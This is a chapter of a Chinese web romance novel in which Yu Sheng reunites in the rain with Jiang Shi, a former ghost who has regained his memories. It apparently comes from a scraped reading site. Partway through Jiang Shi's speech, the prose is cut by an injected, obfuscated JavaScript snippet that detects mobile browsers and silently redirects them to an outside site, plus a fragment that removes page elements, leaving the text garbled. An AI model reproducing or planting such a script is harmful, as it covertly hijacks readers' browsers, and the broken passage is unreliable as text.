一跨进民宿,邱茹就没再提刚才的话题了,她放开喻声,又开始热情招呼舒云霁:“声声回来了,你们聊吧,我就在前台,有什么需要帮忙的喊我就行。” 和舒云霁的谈话对象很自然地从邱茹转移到喻声身上,她走近后问起:“你是刚下飞机吗?” 舒云霁:“我早上的飞机,先去看了小朋友才过来的,就没提前跟你说。” 喻声笑,想起刚才舒云繁交代的:“你吃饭了吗?” 舒云霁挠了挠鼻子,说了句还没有。 “那我带你去吃点?”喻声低头看了眼手机上的时间,下午三点,“不过这个时间点开着的店不多了——吃面可以吗?” 舒云霁弯了弯眼睛,迅速点头说好。 这幅开心的表情没维持多久,二十分钟后,看着面条上铺满的葱,他不露痕迹地皱了皱眉。 “这个点就这里还开着,人太多了估计阿姨都忙忘了。”喻声迅速把自己那份里的葱挑掉推到他面前,“抱歉,你吃我这份吧。” “谢谢。”舒云霁笑,“刚才点单的时候我就想说了,你还记得我不吃葱。” 这个动作,她曾经做过很多遍。 喻声一顿,旋即若无其事地把放着葱的纸团成团丢进地下的垃圾桶里。 她笑着说:“朋友的喜好我还是能记住的。” 舒云霁突然说:“这句话,我在好几年前就听你说过。” 喻声一愣,手中夹面的动作停下,抬头看舒云霁。 “书店那次并非我们第一次见面,早在好几年前,我就在医院病房见过你。” 52. 25岁 江时变了好多,又好像没变。 和他对视在一个她熟悉的高度,喻声得以看清他被泪浸湿的双眼。她最该明白他不爱哭,可是重逢第一眼,他的眼泪就落下来了。 明明知道自己看不到鬼了,面前这个江时是活生生的人,喻声还是想再确认一遍。 她的视线很快从江时身上掠过,投掷到玻璃门上,果不其然看到了倒影。 心脏就这么被攥紧之后放松了下来—— 他带有遗憾的前20岁和成为鬼的101岁,正在被另一段有心跳的人生填满。 他很好,这就好。 等喻声的视线移回原位,再次和他对视上,随之而来地,心脏又再次被攥紧。 或许她刚才和舒云繁说的那些是错的。 喻声别过脸去。 她还是在乎那些,面对无措的情况还是会想要逃避。 账早在拍照前就结好,喻声把拍立得和照片胡乱塞进包里,朝店员小姐又再说了一句谢谢,拎起食物袋子就往外走。 江时还是站在原地,喻声经过他时,他沉默着,没有拦下她。 外面的雨一点要停歇的趋势都没有,刚才进店前放进伞架里的伞不知道被谁拿走了,喻声没有勇气转头回去再买一把新的,她深吸了一口气后想直接冲进雨里,手腕却被人牵住,鞋碰到雨点,重新被带着踩回干净的石阶上。 便利店的门迟缓地合上。 靠得如此近,是鞋与鞋相碰的距离,喻声重新闻到了他身上的味道。他们处理想念的方式如此不像,那款洗衣液她早在四年前离开东宜就已经停用了,可他还在用着,兜兜转转,四年后,喻声又久违地被这个味道环住。 江时站定,固执地拉着喻声的手腕久久不放开,开口的第一句话,是问她心脏怎么样。 第二句话,是说你瘦了。 第三句话,他小心翼翼地问,喻声,你还要不要我? “……反正你们都在替我做决定。”喻声抬头看向江时,她心里很乱,口不择言地选择性回答他的最后一句话,“每个人,每个要离开我的人,都在做好决定后再让我承受,我哪里有选择要什么的权利?” 喻声从未料想到再次见面她会朝着江时喊出这番话。她知道他从来都只为了她考虑,在她和他自己的未来中坚定不移地选了她的未来,也知道如今看到他完整地站在她面前正说明了他当初的选择是正确的,可她还是后怕了长达四年的时间,直到再次见到他,这种后怕还是未停歇,已经成为一种惯性。 如果他真的魂飞魄散了会是怎样?如果他们此刻没有偶遇,是不是过了这么久了,江时也不想找她了? 他们之前长达四年的空白期,他发生了什么,喻声一无所知。而她在紧绷的这四年里变了多少,江时知道吗?他能确定,爱的还是她吗? 不安,在意,难过,拧巴,它们昼夜不息在她的头顶筑起危楼,裂缝总是一点一点的,不知何时会塌陷下来,而没被砸到之前,她一直在感受着这种余震。 江时做好决定离开,又做好决定要重新回到她身边,她被动地接受他离开,被动地接受他出现,她哪里有可以选择的权利? 又或者是,比起不能,更重要的是她不敢去做选择了。 那个勇敢地说着在需要放下的时候要抓紧面前的人,想痛痛快快,想不管不顾和喜欢的人在一起的喻声,已经离开她很久,怎么找都找不回了。 喻声往后退了一步,江时没有说话,握着她手腕的力度却更紧。 便利店门上挂着的风铃被冷风吹得叮铃响,路灯昏黄的光透过树梢倾泻下来,小猫在雨中踩着水坑迅速跑过,它身后的街道上行人车流来来往往,一切都与往常没什么不同。 良久,喻声低头,问他:“如果我们不是在这里偶遇的话,你就打算就这么算了,不找我了吗?” 江时冷不丁说:“我看到你流泪了。” 没想到解决问题的切入口会在这里,喻声错愕抬头。 江时眼睛一眨不眨,只盯着她:“大概三年多以前,我去东宜旅游,遇到了一个小道士。他告诉我,他曾经承过我的情,后来我离开时送给他的那些东西他也在好好用着,可这一切从未出现在我的记忆里,在那一刻的我看来,他说的话很荒谬。” “……可是在东宜逛过一圈之后,我选择了相信他的话。”江时说,“一切真的太熟悉了,就像是已经成为了我身体的一部分,每一条路,我试着闭眼走,反而更能知道在哪里需要避开,在哪里需要拐弯。也在那个时候,我睁眼,突然就能看到鬼魂了。小道士说,这是因为我的灵魂处于受损状态才会看到的,他问我作为人能看到鬼是不是挺害怕的,我说好像不怕,看到的那一瞬间,我想的是,好像曾经有一个人也这么害怕。可是那个人,我不该忘记的,我怎么就忘记了?” “那……后来呢?” 雨渐渐变小,路灯仿佛比刚才更亮了一点,喻声站在原地,身上披着江时刚脱下来的外套,顺从地把手里的东西都交给他来拎,而后声音轻轻,这样问道。 “在他口中,我确信曾经的我真的有一个很喜欢的人。我太着急了,那个时候我只有一个念头,如果我再不去做点什么让自己想起来的话,我会永远错过这个人。”江时离喻声更近了一步,说道,“好在小道士有办法,做完仪式的当天晚上,我就梦到了你,想起了一切。生生,我最先梦到的,是你在医院醒来的那天早上。那天,我离开病房后透过门上的视窗看到你闭着眼,流下了眼泪。” 喻声已经说不出话来。同样的心情穿越时间到达今天,不一样的是,这次她流下泪,是当着江时的面。 那天,等到听不到脚步声了她才敢让眼泪流下来,可她直到今天才知道,他原来目睹了一切。 所以他才在信里写,你知道我最不愿的就是见到你哭。 所以他才在她询问理由的时候说,我看到你流泪了。 “你知道的,当鬼的时候我总觉得自己无所不能,可再无所不能,我还是和你分开了。况且,你的病提前发作,未尝没有我作为灵体经常待在你身边的原因,生生,我从很久以前,就开始对不起你了。”江时抬手,想替喻声擦掉眼泪, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17319549|184024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 落在她脸颊的手却在颤抖,“恢复记忆后我回去过,但屋子已经搬空了,最后我只捡到了待在角落的小狗挂饰。我尝试着拨打以前你给我的那个号码,却显示是空号。我太胆怯了,不知道这是不是意味着你不要我了。” 喻声鼻子泛酸,轻轻摇头。 不安,在意,难过,拧巴,它们终于如最坏预想的结果那般塌陷下来了,可是为什么,比起小心去注意它们到底什么时候会砸到她头顶,此刻更能大口呼吸呢? 在她未曾留意的地方,原来一直有人在默默替她分担一大部分。 “我唯一关于你的消息来源是你依旧在更新的码字网站,后来根据ip地址,才确定你和我还在同一个城市。我很想找到你,很想确定你好不好。”江时慢慢往下说,“如果确定你过得好的话,我可以不再出现。毕竟当鬼的时候实在让你流太多泪了,以后不想让你再回头,为我流泪了。我这么想,也总以为自己可以做到,或许真的像你所说的那样,不是偶遇的话,我不会来找你。” 只是,他深吸了一口气后说:“后来真的看到你为舒云霁拨掉葱,真的看到你养了一只新的小狗,真的看到你没有我也能把四季桂养得很好,真的靠一些蛛丝马迹意识到你不再需要我的时候,我又开始变得贪心和自私。如果不是偶遇的话,我一直在等冰岛有极光的时候再来找你。但你就站在我面前,离我那么近的时候,我什么都想不了了,只想抓紧你。生生,我已经走过离开你时你的年纪了,我以为我走到了你的未来,可是我忘记了你已经不会停留在过去了,那你……那你能不能重新回头,再看看我?” 江时慢慢地讲,于是喻声静静地听,一直听到雨停了,风铃轻轻晃动但不再发出声响了,除了头顶以外整条街的路灯都相继亮起来了,小猫绕了一圈又跑回来了,川流不息的街道终于只剩零星散步的身影了,江时站在她面前,说完最后一句话,低着头看她,眼圈又开始红了。 喻声问:“所以那个每月来约我一篇文稿,还给我发猫猫表情包那个读者是你吧?” 江时一愣,还是点点头。 他说:“你不在身边,我实在想你,但我不敢联系你,只能靠这种方式了。” 那个天不怕地不怕的江时,也和她一样因爱而胆怯。 不是突然,此刻尤其,喻声想试试找回这四年失去的勇气。 “……你是不是傻?”喻声说,”你约了我三十多篇稿子,知道会被平台抽成多少吗?” 江时弯了弯嘴角,说道:“没办法,只能做下下策。” “其实有上上策的。” “什么?” “现在,江时,抱抱我吧。” 因为已经太不诚实地面对自己、面对内心了,所以现在说的每一句话,都不会再骗你了。 喻声在江时抱过来时紧紧回抱住他,这样说道。 她还说,我很想你。 她听到了回答。 耳朵贴着江时胸膛时,听到原本空着的那一块地方跳动的声音越来越响。 也听到他说,生生,我真的、真的很想你。